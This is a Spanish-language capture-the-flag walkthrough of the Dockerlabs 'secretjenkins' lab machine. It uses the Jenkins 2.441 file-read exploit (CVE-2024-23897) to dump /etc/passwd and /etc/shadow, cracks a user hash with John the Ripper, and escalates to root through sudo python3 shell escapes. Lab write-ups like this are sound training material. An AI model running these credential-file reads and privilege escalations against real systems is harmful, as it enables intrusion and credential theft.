Desplegamos la máquina.

```
❯ sudo bash auto_deploy.sh secretjenkins.tar
[sudo] contraseña para kali:

Estamos desplegando la máquina vulnerable, espere un momento.

Máquina desplegada, su dirección IP es --> 172.17.0.2
```

Le hacemos un ping para comprobar la conectividad y con el ttl de 64 sabemos que es Linux.

```
❯ ping -c 1 172.17.0.2
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.028 ms

--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.028/0.028/0.028/0.000 ms
```

Con nmap vemos los puertos abiertos y sus versiones.

```
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
|   256 94:fb:28:59:7f:ae:02:c0:56:46:07:33:8c:ac:52:85 (ECDSA)
|_  256 43:07:50:30:bb:28:b0:73:9b:7c:0c:4e:3f:c9:bf:02 (ED25519)
8080/tcp open  http    Jetty 10.0.18
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Jetty(10.0.18)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Con whatweb vemos las tecnologías de la web.

```
❯ whatweb http://172.17.0.2:8080
http://172.17.0.2:8080 [403 Forbidden] Cookies[JSESSIONID.3409f6ba], Country[RESERVED][ZZ], HTTPSer
ver[Jetty(10.0.18)], HttpOnly[JSESSIONID.3409f6ba], IP[172.17.0.2], Jenkins[2.441], Jetty[10.0.18],
 Meta-Refresh-Redirect[/login?from=%2F], Script, UncommonHeaders[x-content-type-options,x-hudson,x-
jenkins,x-jenkins-session]
http://172.17.0.2:8080/login?from=%2F [200 OK] Cookies[JSESSIONID.3409f6ba], Country[RESERVED][ZZ],
 HTML5, HTTPServer[Jetty(10.0.18)], HttpOnly[JSESSIONID.3409f6ba], IP[172.17.0.2], Jenkins[2.441],
Jetty[10.0.18], PasswordField[j_password], Title[Sign in [Jenkins]], UncommonHeaders[x-content-type
-options,x-hudson,x-jenkins,x-jenkins-session], X-Frame-Options[sameorigin]
```

Con searchsploit podemos ver los exploits que existen para Jenkins.

```
❯ searchsploit jenkins
------------------------------------------------------------------ ----------------------
 Exploit Title                                                    |  Path
------------------------------------------------------------------ ----------------------
CloudBees Jenkins 2.32.1 - Java Deserialization                   | java/dos/41965.txt
Jenkins - Script-Console Java Execution (Metasploit)              | multiple/remote/24272.
Jenkins - XStream Groovy classpath Deserialization (Metasploit)   | multiple/remote/43375.
Jenkins 1.523 - Persistent HTML Code                              | php/webapps/30408.txt
Jenkins 1.578 - Multiple Vulnerabilities                          | multiple/webapps/34587
Jenkins 1.626 - Cross-Site Request Forgery / Code Execution       | java/webapps/37999.txt
Jenkins 1.633 - Credential Recovery                               | java/webapps/38664.py
Jenkins 2.137 and Pipeline Groovy Plugin 2.61 - ACL Bypass and M | java/remote/46572.rb
Jenkins 2.150.2 - Remote Command Execution (Metasploit)           | linux/webapps/46352.rb
Jenkins 2.235.3 - 'Description' Stored XSS                        | java/webapps/49237.txt
Jenkins 2.235.3 - 'tooltip' Stored Cross-Site Scripting           | java/webapps/49232.txt
Jenkins 2.235.3 - 'X-Forwarded-For' Stored XSS                    | java/webapps/49244.txt
Jenkins 2.441 - Local File Inclusion                              | java/webapps/51993.py
```

Descargamos el de local file inclusión con la flag -m.

```
❯ searchsploit -m 51993
  Exploit: Jenkins 2.441 - Local File Inclusion
      URL: https://www.exploit-db.com/exploits/51993
     Path: /usr/share/exploitdb/exploits/java/webapps/51993.py
    Codes: CVE-2024-23897
 Verified: False
File Type: Python script, ASCII text executable
Copied to: /home/kali/Dockerlabs/51993.py
```

Después de revisar como funciona ejecutamos con -u para colocar la url y -p para ver el archivo que deseamos como en este caso el passwd.

```
❯ python3 51993.py -u http://172.17.0.2:8080 -p /etc/passwd
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
jenkins:x:1000:1000::/var/jenkins_home:/bin/bash
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:102::/nonexistent:/usr/sbin/nologin
root:x:0:0:root:/root:/bin/bash
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
bobby:x:1001:1001::/home/bobby:/bin/bash
games:x:5:60:games:/usr/games:/usr/sbin/nologin
pinguinito:x:1002:1002::/home/pinguinito:/bin/bash
```

También comprobamos que podemos ver el shadow, por lo tanto podemos ver las contraseñas de los usuarios Bobby y Pingüinito.

```
❯ python3 51993.py -u http://172.17.0.2:8080 -p /etc/shadow
sys:*:19732:0:99999:7:::
sshd:!:19854::::::
backup:*:19732:0:99999:7:::
games:*:19732:0:99999:7:::
root:*:19732:0:99999:7:::
bin:*:19732:0:99999:7:::
bobby:$y$j9T$WMW/12y8q31vknUetL2zA/$npFebwOYjDm5y/itia7nnZdhASN7yJ9l1YDjB/3but9:19854:0:99999:7:::
sync:*:19732:0:99999:7:::
lp:*:19732:0:99999:7:::
www-data:*:19732:0:99999:7:::
systemd-timesync:!*:19854::::::
daemon:*:19732:0:99999:7:::
messagebus:!:19854::::::
_apt:*:19732:0:99999:7:::
pinguinito:$y$j9T$AD4Tq.mVnQE9oR0j2ECGe0$hGXqaPc6e9fCcS6xYupdiR9OcmVjH6WmUKjz39ImCO9:19854:0:99999:7:::
```

Después pasamos los hashes a un archivo y con Bobby logramos desencriptar la contraseña con john the Ripper.

```
❯ echo '$y$j9T$AD4Tq.mVnQE9oR0j2ECGe0$hGXqaPc6e9fCcS6xYupdiR9OcmVjH6WmUKjz39ImCO9' > pinguinito
❯ echo '$y$j9T$WMW/12y8q31vknUetL2zA/$npFebwOYjDm5y/itia7nnZdhASN7yJ9l1YDjB/3but9' > bobby
```

```
❯ john --format=crypt bobby
Using default input encoding: UTF-8
Loaded 1 password hash (crypt, generic crypt(3) [?/64]
Cost 1 (algorithm [1:descrypt 2:md5crypt 3:sunmd5 4:bc
Cost 2 (algorithm specific iterations) is 1 for all lo
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for
Almost done: Processing the remaining buffered candida
Proceeding with wordlist:/usr/share/john/password.lst
chocolate        (?)
```

Por lo tanto, nos logueamos con Bobby mediante ssh.

```
❯ ssh bobby@172.17.0.2
bobby@172.17.0.2's password:
Linux 7f26e6912274 6.12.33+kali-amd64 #1 SMP PREEMI

The programs included with the Debian GNU/Linux sy
the exact distribution terms for each program are
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY
permitted by applicable law.
bobby@7f26e6912274:~$ id
uid=1001(bobby) gid=1001(bobby) groups=1001(bobby)
```

Vemos que tiene un binario que puede ejecutarse con sudo sin contraseña como el usuario pingüinito.

```
bobby@7f26e6912274:~$ sudo -l
Matching Defaults entries for bobby on 7f26e
    env_reset, mail_badpass, secure_path=/us

User bobby may run the following commands or
    (pinguinito) NOPASSWD: /usr/bin/python3
```

Ejecutamos el comando para lanzarnos una bash y como lo ejecutamos como el usuario pingüinito y con sudo, pues ya somos dicho usuario.

```
bobby@7f26e6912274:~$ sudo -u pinguinito /usr/bin/python3 -c 'import os;os.system("/bin/bash")'
pinguinito@7f26e6912274:/home/bobby$ id
uid=1002(pinguinito) gid=1002(pinguinito) groups=1002(pinguinito)
```

A su vez pingüinito tiene un archivo Python y el binario python3 para ejecutar como root con sudo sin contraseña.

```
pinguinito@7f26e6912274:~$ sudo -l
Matching Defaults entries for pinguinito on 7f26e691
    env_reset, mail_badpass, secure_path=/usr/local/

User pinguinito may run the following commands on 7f
    (ALL) NOPASSWD: /usr/bin/python3 /opt/script.py
```

Vemos si podemos modificar el archivo y la carpeta opt es propiedad de pingüinito por lo que procedemos a modificar el archivo.

```
pinguinito@7f26e6912274:~$ ls -la /
total 68
drwxr-xr-x   1 root       root 4096 Jul 18 19:37 .
drwxr-xr-x   1 root       root 4096 Jul 18 19:37 ..
-rwxr-xr-x   1 root       root    0 Jul 18 19:37 .doc
lrwxrwxrwx   1 root       root    7 Jan 10  2024 bin
drwxr-xr-x   2 root       root 4096 Dec  9  2023 boot
drwxr-xr-x   5 root       root  340 Jul 18 19:37 dev
drwxr-xr-x   1 root       root 4096 Jul 18 19:37 etc
drwxr-xr-x   1 root       root 4096 May 11  2024 home
lrwxrwxrwx   1 root       root    7 Jan 10  2024 lib
lrwxrwxrwx   1 root       root    9 Jan 10  2024 lib3
lrwxrwxrwx   1 root       root    9 Jan 10  2024 lib6
lrwxrwxrwx   1 root       root   10 Jan 10  2024 libx
drwxr-xr-x   2 root       root 4096 Jan 10  2024 medi
drwxr-xr-x   2 root       root 4096 Jan 10  2024 mnt
drwxr-xr-x   1 pinguinito root 4096 May 11  2024 opt
```

Una vez modificado para que nos lance una bash, ejecutamos con sudo el binario de Python3 y el script.py modificado y listo ya somos root.